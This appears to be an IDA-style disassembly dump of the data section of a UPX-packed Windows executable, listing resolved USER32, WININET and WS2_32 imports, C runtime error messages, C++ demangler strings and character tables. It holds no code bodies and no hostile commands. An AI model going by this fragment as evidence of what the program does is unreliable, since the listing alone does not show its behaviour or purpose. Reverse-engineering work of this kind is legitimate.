dword_41D30C dd 7E43FE55h ; resolved to->USER32.DestroyAcceleratorTabledword_41D310 dd 7E41BDC8h ; resolved to->USER32.ScreenToClientdword_41D314 dd 7E41B6D4h ; resolved to->USER32.GetWindowRectdword_41D318 dd 7E4191C6h ; resolved to->USER32.GetMessageWdword_41D31C dd 7E41DAFEh ; resolved to->USER32.CharNextW ; sub_407B63+11r ...
dword_41D320 dd 7E41AF34h ; resolved to->USER32.RegisterWindowMessageWdword_41D324 dd 7E41C257h ; resolved to->USER32.FillRect ; sub_402874+104r ...
dword_41D328 dd 7E41970Eh ; resolved to->USER32.IsChilddword_41D32C dd 7E41D6CEh ; resolved to->USER32.SetCapturedword_41D330 dd 7E418CCBh ; resolved to->USER32.PostMessageW ; UPX0:00417A44r ...
dword_41D334 dd 7E423D4Dh ; resolved to->USER32.SetForegroundWindow ; sub_418186+BCr
dword_41D338 dd 7E41BEF0h ; resolved to->USER32.GetFocusdword_41D33C dd 7E41B72Fh ; resolved to->USER32.GetParent ; UPX0:00403BEAr ...
dword_41D340 dd 7E41EDC6h ; resolved to->USER32.InvalidateRgndword_41D344 dd 7E419D69h ; resolved to->USER32.LoadCursorW ; sub_404725+13Fr ...
dword_41D348 dd 7E41BDA2h ; resolved to->USER32.IsWindowEnableddword_41D34C dd 7E41B6AEh ; resolved to->USER32.GetClientRect ; sub_402874+ABr ...
dword_41D350 dd 7E42D3C1h ; resolved to->USER32.CreateAcceleratorTableWdword_41D354 dd 7E41DA60h ; resolved to->USER32.SetFocus ; sub_41889D+174r
dword_41D358 dd 7E41B609h ; resolved to->USER32.BeginPaint ; sub_402874+91r
dword_41D35C dd 7E426FA8h ; resolved to->USER32.GetClassInfoExW ; sub_404725+FEr ...
dd 0
dword_41D364 dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; sub_417173+1C2r ...
dword_41D368 dd 42C40FB1h ; resolved to->WININET.DeleteUrlCacheEntryWdword_41D36C dd 42C2AE35h ; resolved to->WININET.InternetQueryDataAvailabledword_41D370 dd 42C2ABF4h ; resolved to->WININET.InternetReadFiledword_41D374 dd 42C25BE0h ; resolved to->WININET.InternetConnectWdword_41D378 dd 42C4103Dh ; resolved to->WININET.HttpSendRequestWdword_41D37C dd 42C2CED1h ; resolved to->WININET.InternetOpenWdword_41D380 dd 42C25DBAh ; resolved to->WININET.HttpOpenRequestW align 8
dword_41D388 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup align 10h
dword_41D390 dd 77556DC6h dword_41D394 dd 775C8876h ; UPX0:00403CDCr
dword_41D398 dd 774FFAC3h ; sub_417A85:loc_417B3Ar ...
dword_41D39C dd 774FD02Ch ; sub_4080FF+6Fr ...
dword_41D3A0 dd 775242CCh dword_41D3A4 dd 7750CB9Ch dword_41D3A8 dd 77506410h ; sub_418266+155r ...
dword_41D3AC dd 774FDE02h dword_41D3B0 dd 774FF6DAh ; sub_4184BE+85r
dword_41D3B4 dd 77533373h ; sub_4184BE:loc_418535r
dword_41D3B8 dd 77515DB2h dword_41D3BC dd 774FD048h ; sub_403293+7Cr ...
dword_41D3C0 dd 774FEE36h dword_41D3C4 dd 775329DEh dword_41D3C8 dd 77502A37h dword_41D3CC dd 77556EB6h dd 0
dword_41D3D4 dd 42D77858h dd 0
dword_41D3DC dd 0 dd offset loc_41C84A
dd offset loc_41C860
dd offset loc_41C876
dd offset loc_41C7E3
dd offset loc_41C82D
dword_41D3F4 dd 0 dword_41D3F8 dd 0 dd offset byte_40B703
dd offset sub_40FEFF
dd offset sub_41191C
dd offset sub_4121C2
dd offset sub_40F3FA
dword_41D410 dd 0 dword_41D414 dd 0 dd offset sub_415CEC
dd offset sub_4119CD
dword_41D420 dd 0 dword_41D424 dd 0 dword_41D428 dd 2 dup(0) dword_41D430 dd 117h, 0 ; sub_4178EC+19o
dd 0C0h, 46000000h
dword_41D440 dd 4 dup(0) ; UPX0:00402B6Co ...
dword_41D450 dd 323h, 0 dd 0C0h, 46000000h
aInterlockedpop db 'InterlockedPopEntrySList',0 ; DATA XREF: sub_40A7A4+39o
align 4
aInterlockedpus db 'InterlockedPushEntrySList',0 ; DATA XREF: sub_40A7A4+31o
align 4
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40A7A4+18o
align 4
dd 0B62F5910h, 11D16528h, 1196h, 0D0D1EF8h
dword_41D4B8 dd 394C3DE0h, 11D23C6Fh, 0C0007B81h, 0B77A794Fhdword_41D4C8 dd 20646162h, 6F6C6C61h, 69746163h, 6E6Fh, 425B1Ch
; DATA XREF: UPX0:0042A004o
; UPX0:0042A008o ...
off_41D4DC dd offset loc_4049A7 ; DATA XREF: sub_40499Co
; UPX0:004049AAo ...
dd offset sub_40AD9A
dd offset dword_425AD0
off_41D4E8 dd offset loc_404A61 ; DATA XREF: sub_404A01+20o
; sub_404A36+Ao ...
dd offset sub_404A53
dd offset dword_425A80
off_41D4F4 dd offset loc_404AA0 ; DATA XREF: sub_404A7D+Co sub_404A95o ...
dd offset sub_404A53
dd offset dword_425A30
off_41D500 dd offset loc_404AE5 ; DATA XREF: sub_404AC2+Co sub_404ADAo ...
dd offset sub_404A53
aStringTooLong db 'string too long',0 ; DATA XREF: sub_40AB96+Co
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_40ABCE+Co
dd offset dword_424DB8
off_41D534 dd offset sub_40ADA7 ; DATA XREF: sub_40ACA6+Ao
; sub_40ACB7+Do ...
dd offset sub_40AD9A
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_40AD9A+7o
align 10h
aSetthreadstack db 'SetThreadStackGuarantee',0 ; DATA XREF: sub_40AF6F+5Bo
aKernel32_dll: ; DATA XREF: sub_40AF6F+4Ao
unicode 0, <kernel32.dll>,0
align 4
dd offset dword_424DCC
off_41D588 dd offset sub_40B403 ; DATA XREF: sub_40B3F3+3o
; UPX0:off_42A014o ...
dword_41D58C dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0)
off_41D5AC dd offset dword_42E400 ; DATA XREF: sub_40C52F+D6o
dd offset dword_42E458
aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: sub_40DAF9+14o
align 4
aMscoree_dll: ; DATA XREF: sub_40DAF9+5o
unicode 0, <mscoree.dll>,0
aRuntimeError db 'runtime error ',0
align 4
db 0Dh,0Ah,0
align 10h
aTlossError db 'TLOSS error',0Dh,0Ah,0
align 10h
aSingError db 'SING error',0Dh,0Ah,0
align 10h
aDomainError db 'DOMAIN error',0Dh,0Ah,0
align 10h
aR6034AnApplica db 'R6034',0Dh,0Ah
db 'An application has made an attempt to load the C runtime library '
db 'incorrectly.',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 10h
aR6033AttemptTo db 'R6033',0Dh,0Ah
db '- Attempt to use MSIL code from this assembly during native code '
db 'initialization',0Ah
db 'This indicates a bug in your application. It is most likely the r'
db 'esult of calling an MSIL-compiled (/clr) function from a native c'
db 'onstructor or from DllMain.',0Dh,0Ah,0
align 4
aR6032NotEnough db 'R6032',0Dh,0Ah
db '- not enough space for locale information',0Dh,0Ah,0
align 10h
aR6031AttemptTo db 'R6031',0Dh,0Ah
db '- Attempt to initialize the CRT more than once.',0Ah
db 'This indicates a bug in your application.',0Dh,0Ah,0
align 4
aR6030CrtNotIni db 'R6030',0Dh,0Ah
db '- CRT not initialized',0Dh,0Ah,0
align 4
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 4
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio db 0Dh,0Ah
db 'This application has requested the Runtime to terminate it in an '
db 'unusual way.',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: UPX0:off_42A2E4o
db '- floating point support not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_40DDD8+164o
align 10h
asc_41DB60 db 0Ah ; DATA XREF: sub_40DDD8:loc_40DEF2o
db 0Ah,0
align 4
a___ db '...',0 ; DATA XREF: sub_40DDD8+F2o
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_40DDD8+ADo
align 10h
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_40DDD8+65o
db 0Ah
db 'Program: ',0
align 4
aEncodepointer db 'EncodePointer',0 ; DATA XREF: sub_40E0C8:loc_40E11Co
; sub_40E22F+3Ao
align 4
off_41DBAC dd offset byte_45004B ; DATA XREF: sub_40E0C8:loc_40E101o
; sub_40E143:loc_40E17Co ...
aRnel32_dll:
unicode 0, <RNEL32.DLL>,0
align 4
aDecodepointer db 'DecodePointer',0 ; DATA XREF: sub_40E143:loc_40E197o
; sub_40E22F+4Eo
align 4
aFlsfree db 'FlsFree',0 ; DATA XREF: sub_40E4D8+4Do
aFlssetvalue db 'FlsSetValue',0 ; DATA XREF: sub_40E4D8+40o
aFlsgetvalue db 'FlsGetValue',0 ; DATA XREF: sub_40E4D8+33o
aFlsalloc db 'FlsAlloc',0 ; DATA XREF: sub_40E4D8+2Bo
align 4
a_com db '.com',0 ; DATA XREF: UPX0:off_42A3CCo
align 4
a_exe db '.exe',0 ; DATA XREF: UPX0:0042A3C8o
align 4
a_bat db '.bat',0 ; DATA XREF: UPX0:0042A3C4o
align 4
a_cmd db '.cmd',0 ; DATA XREF: UPX0:off_42A3C0o
align 4
a__0 db '.\',0 ; DATA XREF: sub_40ED0F+A4o
align 4
dword_41DC28 dd 0C0000005h, 0Bh, 0 ; sub_40E3A9+7Co
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
off_41DCA0 dd offset sub_4103CB ; DATA XREF: sub_40BE20+EAr
; sub_40BE20+F3o ...
dd offset dword_424E14
off_41DCA8 dd offset sub_4101D6 ; DATA XREF: sub_4101AD+11o
; UPX0:004101CBo ...
dd offset sub_40AD9A
dword_41DCB0 dd 20646162h, 65637865h, 6F697470h, 6Eh, 4030201h, 8070605h
; DATA XREF: sub_410A1C+14Do
dd 0C0B0A09h, 100F0E0Dh, 14131211h, 18171615h, 1C1B1A19h
dd 201F1E1Dh, 24232221h, 28272625h, 2C2B2A29h, 302F2E2Dh
dd 34333231h, 38373635h, 3C3B3A39h, 403F3E3Dh, 44434241h
dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 7F7E7Dh
dword_41DD40 dd 3Dh ; UPX0:0041E410o
aNull: ; DATA XREF: UPX0:off_42ACECo
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: UPX0:off_42ACE8o
align 10h
dd 6000006h, 100h, 6030010h, 10020600h, 45454504h, 5050505h
dd 303505h, 50h, 38202800h, 8075850h, 30303700h, 75057h
dd 8202000h, 0
dd 60686008h, 606060h, 78707800h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_413890+9Do
aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_413890+7Eo
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_413890+69o
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_413890+54o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_413890+3Eo
aUser32_dll db 'USER32.DLL',0 ; DATA XREF: sub_413890+23o
align 4
aCompleteObject db ' Complete Object Locator',27h,0 ; DATA XREF: UPX0:0041E404o
align 4
aClassHierarchy db ' Class Hierarchy Descriptor',27h,0 ; DATA XREF: UPX0:0041E400o
align 4
aBaseClassArray db ' Base Class Array',27h,0 ; DATA XREF: UPX0:0041E3FCo
align 4
aBaseClassDescr db ' Base Class Descriptor at (',0 ; DATA XREF: UPX0:0041E3F8o
aTypeDescriptor db ' Type Descriptor',27h,0 ; DATA XREF: UPX0:0041E3F4o
align 4
aLocalStaticThr db '`local static thread guard',27h,0 ; DATA XREF: UPX0:0041E540o
aManagedVectorC db '`managed vector copy constructor iterator',27h,0
; DATA XREF: UPX0:0041E53Co
align 4
aVectorVbaseCop db '`vector vbase copy constructor iterator',27h,0
; DATA XREF: UPX0:0041E538o
align 10h
aVectorCopyCons db '`vector copy constructor iterator',27h,0 ; DATA XREF: UPX0:0041E534o
align 4
aDynamicAtexitD db '`dynamic atexit destructor for ',27h,0 ; DATA XREF: UPX0:0041E530o
align 4
aDynamicInitial db '`dynamic initializer for ',27h,0 ; DATA XREF: UPX0:0041E52Co
align 4
aEhVectorVbaseC db '`eh vector vbase copy constructor iterator',27h,0
; DATA XREF: UPX0:0041E528o
aEhVectorCopyCo db '`eh vector copy constructor iterator',27h,0 ; DATA XREF: UPX0:0041E524o
align 4
aManagedVectorD db '`managed vector destructor iterator',27h,0 ; DATA XREF: UPX0:0041E520o
align 10h
aManagedVecto_0 db '`managed vector constructor iterator',27h,0 ; DATA XREF: UPX0:0041E51Co
align 4
aPlacementDelet db '`placement delete[] closure',27h,0 ; DATA XREF: UPX0:0041E518o
align 4
aPlacementDel_0 db '`placement delete closure',27h,0 ; DATA XREF: UPX0:0041E514o
align 4
aOmniCallsig db '`omni callsig',27h,0 ; DATA XREF: UPX0:0041E510o
align 4
aDelete_0 db ' delete[]',0 ; DATA XREF: UPX0:0041E50Co
align 10h
aNew db ' new[]',0 ; DATA XREF: UPX0:0041E508o
align 4
aLocalVftableCo db '`local vftable constructor closure',27h,0 ; DATA XREF: UPX0:0041E504o
aLocalVftable db '`local vftable',27h,0 ; DATA XREF: UPX0:0041E500o
aRtti db '`RTTI',0 ; DATA XREF: UPX0:0041E4FCo
align 4
aEh db '`EH',0 ; DATA XREF: UPX0:0041E4F8o
aUdtReturning db '`udt returning',27h,0 ; DATA XREF: UPX0:0041E4F4o
aCopyConstructo db '`copy constructor closure',27h,0 ; DATA XREF: UPX0:0041E4F0o
align 4
aEhVectorVbas_0 db '`eh vector vbase constructor iterator',27h,0 ; DATA XREF: UPX0:0041E4ECo
align 4
aEhVectorDestru db '`eh vector destructor iterator',27h,0 ; DATA XREF: UPX0:0041E4E8o
aEhVectorConstr db '`eh vector constructor iterator',27h,0 ; DATA XREF: UPX0:0041E4E4o
align 10h
aVirtualDisplac db '`virtual displacement map',27h,0 ; DATA XREF: UPX0:0041E4E0o
align 4
aVectorVbaseCon db '`vector vbase constructor iterator',27h,0 ; DATA XREF: UPX0:0041E4DCo
aVectorDestruct db '`vector destructor iterator',27h,0 ; DATA XREF: UPX0:0041E4D8o
align 10h
aVectorConstruc db '`vector constructor iterator',27h,0 ; DATA XREF: UPX0:0041E4D4o
align 10h
aScalarDeleting db '`scalar deleting destructor',27h,0 ; DATA XREF: UPX0:0041E4D0o
align 10h
aDefaultConstru db '`default constructor closure',27h,0 ; DATA XREF: UPX0:0041E4CCo
align 10h
aVectorDeleting db '`vector deleting destructor',27h,0 ; DATA XREF: UPX0:0041E4C8o
align 10h
aVbaseDestructo db '`vbase destructor',27h,0 ; DATA XREF: UPX0:0041E4C4o
align 4
aString db '`string',27h,0 ; DATA XREF: UPX0:0041E4C0o
align 10h
aLocalStaticGua db '`local static guard',27h,0 ; DATA XREF: UPX0:0041E4BCo
align 4
aTypeof db '`typeof',27h,0 ; DATA XREF: UPX0:0041E4B8o
align 4
aVcall db '`vcall',27h,0 ; DATA XREF: UPX0:0041E4B4o
aVbtable db '`vbtable',27h,0 ; DATA XREF: UPX0:0041E4B0o
align 4
aVftable db '`vftable',27h,0 ; DATA XREF: UPX0:0041E4ACo
align 4
asc_41E2A4 db '^=',0 ; DATA XREF: UPX0:0041E4A8o
align 4
asc_41E2A8 db '|=',0 ; DATA XREF: UPX0:0041E4A4o
align 4
asc_41E2AC db '&=',0 ; DATA XREF: UPX0:0041E4A0o
align 10h
asc_41E2B0 db '<<=',0 ; DATA XREF: UPX0:0041E49Co
asc_41E2B4 db '>>=',0 ; DATA XREF: UPX0:0041E498o
asc_41E2B8 db '%=',0 ; DATA XREF: UPX0:0041E494o
align 4
asc_41E2BC db '/=',0 ; DATA XREF: UPX0:0041E490o
align 10h
asc_41E2C0 db '-=',0 ; DATA XREF: UPX0:0041E48Co
align 4
asc_41E2C4 db '+=',0 ; DATA XREF: UPX0:0041E488o
align 4
asc_41E2C8 db '*=',0 ; DATA XREF: UPX0:0041E484o
align 4
asc_41E2CC db '||',0 ; DATA XREF: UPX0:0041E480o
align 10h
asc_41E2D0 db '&&',0 ; DATA XREF: UPX0:0041E47Co
align 4
asc_41E2D4: ; DATA XREF: UPX0:0041E478o
unicode 0, <|>,0
asc_41E2D8: ; DATA XREF: UPX0:0041E474o
unicode 0, <^>,0
asc_41E2DC: ; DATA XREF: UPX0:0041E470o
unicode 0, <~>,0
asc_41E2E0 db '()',0 ; DATA XREF: UPX0:0041E46Co
align 4
asc_41E2E4: ; DATA XREF: UPX0:0041E468o
unicode 0, <,>,0
asc_41E2E8 db '>=',0 ; DATA XREF: UPX0:0041E464o
align 4
asc_41E2EC: ; DATA XREF: UPX0:0041E460o
dw 3Eh
unicode 0, <>,0
asc_41E2F0 db '<=',0 ; DATA XREF: UPX0:0041E45Co
align 4
asc_41E2F4: ; DATA XREF: UPX0:0041E458o
dw 3Ch
unicode 0, <>,0
asc_41E2F8: ; DATA XREF: UPX0:0041E454o
unicode 0, <%>,0
asc_41E2FC: ; DATA XREF: UPX0:0041E450o
unicode 0, </>,0
asc_41E300 db '->*',0 ; DATA XREF: UPX0:0041E44Co
asc_41E304: ; DATA XREF: UPX0:0041E448o
unicode 0, <&>,0
asc_41E308: ; DATA XREF: UPX0:0041E444o
unicode 0, <+>,0
asc_41E30C: ; DATA XREF: UPX0:0041E440o
unicode 0, <->,0
asc_41E310 db '--',0 ; DATA XREF: UPX0:0041E43Co
align 4
asc_41E314 db '++',0 ; DATA XREF: UPX0:0041E438o
align 4
asc_41E318: ; DATA XREF: UPX0:0041E434o
unicode 0, <*>,0
asc_41E31C db '->',0 ; DATA XREF: UPX0:0041E430o
align 10h
aOperator db 'operator',0 ; DATA XREF: UPX0:0041E42Co
align 4
asc_41E32C db '[]',0 ; DATA XREF: UPX0:0041E428o
align 10h
asc_41E330 db '!=',0 ; DATA XREF: UPX0:0041E424o
align 4
asc_41E334 db '==',0 ; DATA XREF: UPX0:0041E420o
align 4
asc_41E338: ; DATA XREF: UPX0:0041E41Co
unicode 0, <!>,0
asc_41E33C db '<<',0 ; DATA XREF: UPX0:0041E418o
align 10h
asc_41E340 db '>>',0 ; DATA XREF: UPX0:0041E414o
align 4
aDelete_1 db ' delete',0 ; DATA XREF: UPX0:0041E40Co
aNew_0 db ' new',0 ; DATA XREF: UPX0:0041E408o
align 4
a__unaligned db '__unaligned',0 ; DATA XREF: UPX0:0041E3ECo
a__restrict db '__restrict',0 ; DATA XREF: UPX0:0041E3E8o
align 4
; a__ptr64
a__ptr64 db '__ptr64',0 ; DATA XREF: UPX0:0041E3E4o
a__clrcall db '__clrcall',0 ; DATA XREF: UPX0:0041E3E0o
align 10h
a__fastcall db '__fastcall',0 ; DATA XREF: UPX0:0041E3DCo
align 4
a__thiscall db '__thiscall',0 ; DATA XREF: UPX0:0041E3D8o
align 4
a__stdcall db '__stdcall',0 ; DATA XREF: UPX0:0041E3D4o
align 4
a__pascal db '__pascal',0 ; DATA XREF: UPX0:0041E3D0o
align 10h
a__cdecl db '__cdecl',0 ; DATA XREF: UPX0:0041E3CCo
a__based db '__based(',0 ; DATA XREF: UPX0:0041E3C8o
align 8
dd offset a__based ; "__based("
dd offset a__cdecl ; "__cdecl"
dd offset a__pascal ; "__pascal"
dd offset a__stdcall ; "__stdcall"
dd offset a__thiscall ; "__thiscall"
dd offset a__fastcall ; "__fastcall"
dd offset a__clrcall ; "__clrcall"
dd offset a__ptr64 ; "__ptr64"
dd offset a__restrict ; "__restrict"
dd offset a__unaligned ; "__unaligned"
dd offset off_4246EE
dd offset aTypeDescriptor ; " Type Descriptor'"
dd offset aBaseClassDescr ; " Base Class Descriptor at ("
dd offset aBaseClassArray ; " Base Class Array'"
dd offset aClassHierarchy ; " Class Hierarchy Descriptor'"
dd offset aCompleteObject ; " Complete Object Locator'"
dd offset aNew_0 ; " new"
dd offset aDelete_1 ; " delete"
dd offset dword_41DD40
dd offset asc_41E340 ; ">>"
dd offset asc_41E33C ; "<<"
dd offset asc_41E338 ; "!"
dd offset asc_41E334 ; "=="
dd offset asc_41E330 ; "!="
dd offset asc_41E32C ; "[]"
dd offset aOperator ; "operator"
dd offset asc_41E31C ; "->"
dd offset asc_41E318 ; "*"
dd offset asc_41E314 ; "++"
dd offset asc_41E310 ; "--"
dd offset asc_41E30C ; "-"
dd offset asc_41E308 ; "+"
dd offset asc_41E304 ; "&"
dd offset asc_41E300 ; "->*"
dd offset asc_41E2FC ; "/"
dd offset asc_41E2F8 ; "%"
dd offset asc_41E2F4 ; "<"
dd offset asc_41E2F0 ; "<="
dd offset asc_41E2EC ; ">"
dd offset asc_41E2E8 ; ">="
dd offset asc_41E2E4 ; ","
dd offset asc_41E2E0 ; "()"
dd offset asc_41E2DC ; "~"
dd offset asc_41E2D8 ; "^"
dd offset asc_41E2D4 ; "|"
dd offset asc_41E2D0 ; "&&"
dd offset asc_41E2CC ; "||"
dd offset asc_41E2C8 ; "*="
dd offset asc_41E2C4 ; "+="
dd offset asc_41E2C0 ; "-="
dd offset asc_41E2BC ; "/="
dd offset asc_41E2B8 ; "%="
dd offset asc_41E2B4 ; ">>="
dd offset asc_41E2B0 ; "<<="
dd offset asc_41E2AC ; "&="
dd offset asc_41E2A8 ; "|="
dd offset asc_41E2A4 ; "^="
dd offset aVftable ; "`vftable'"
dd offset aVbtable ; "`vbtable'"
dd offset aVcall ; "`vcall'"
dd offset aTypeof ; "`typeof'"
dd offset aLocalStaticGua ; "`local static guard'"
dd offset aString ; "`string'"
dd offset aVbaseDestructo ; "`vbase destructor'"
dd offset aVectorDeleting ; "`vector deleting destructor'"
dd offset aDefaultConstru ; "`default constructor closure'"
dd offset aScalarDeleting ; "`scalar deleting destructor'"
dd offset aVectorConstruc ; "`vector constructor iterator'"
dd offset aVectorDestruct ; "`vector destructor iterator'"
dd offset aVectorVbaseCon ; "`vector vbase constructor iterator'"
dd offset aVirtualDisplac ; "`virtual displacement map'"
dd offset aEhVectorConstr ; "`eh vector constructor iterator'"
dd offset aEhVectorDestru ; "`eh vector destructor iterator'"
dd offset aEhVectorVbas_0 ; "`eh vector vbase constructor iterator'"
dd offset aCopyConstructo ; "`copy constructor closure'"
dd offset aUdtReturning ; "`udt returning'"
dd offset aEh ; "`EH"
dd offset aRtti ; "`RTTI"
dd offset aLocalVftable ; "`local vftable'"
dd offset aLocalVftableCo ; "`local vftable constructor closure'"
dd offset aNew ; " new[]"
dd offset aDelete_0 ; " delete[]"
dd offset aOmniCallsig ; "`omni callsig'"
dd offset aPlacementDel_0 ; "`placement delete closure'"
dd offset aPlacementDelet ; "`placement delete[] closure'"
dd offset aManagedVecto_0 ; "`managed vector constructor iterator'"
dd offset aManagedVectorD ; "`managed vector destructor iterator'"
dd offset aEhVectorCopyCo ; "`eh vector copy constructor iterator'"
dd offset aEhVectorVbaseC ; "`eh vector vbase copy constructor itera"...
dd offset aDynamicInitial ; "`dynamic initializer for '"
dd offset aDynamicAtexitD ; "`dynamic atexit destructor for '"
dd offset aVectorCopyCons ; "`vector copy constructor iterator'"
dd offset aVectorVbaseCop ; "`vector vbase copy constructor iterator"...
dd offset aManagedVectorC ; "`managed vector copy constructor iterat"...
dd offset aLocalStaticThr ; "`local static thread guard'"
dd offset off_4246EE
aSystemroot db 'SystemRoot',0 ; DATA XREF: sub_413E93+1Bo
align 4
dword_41E554 dd 41h dup(0) ; sub_414FEE+29o ...
asc_41E658: ; DATA XREF: UPX0:off_42ACC8o
; UPX0:0042AD34o
unicode 0, < ((((( H>
dw 10h
dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
dd 100010h, 200010h, 40h dup(0)
dword_41E858 dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
; DATA XREF: UPX0:0042AD38o
; UPX0:0042ABF0o
dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h)
dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h)
dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h)
dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h)
dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h
dd 0
dword_41EA60 dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h
dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h
dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch
dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h
dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h
dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h
dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h
dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h
dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h
dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch
dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h
dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h
dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h
dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h
dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h
dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch
dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h
dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h
dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h
dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch
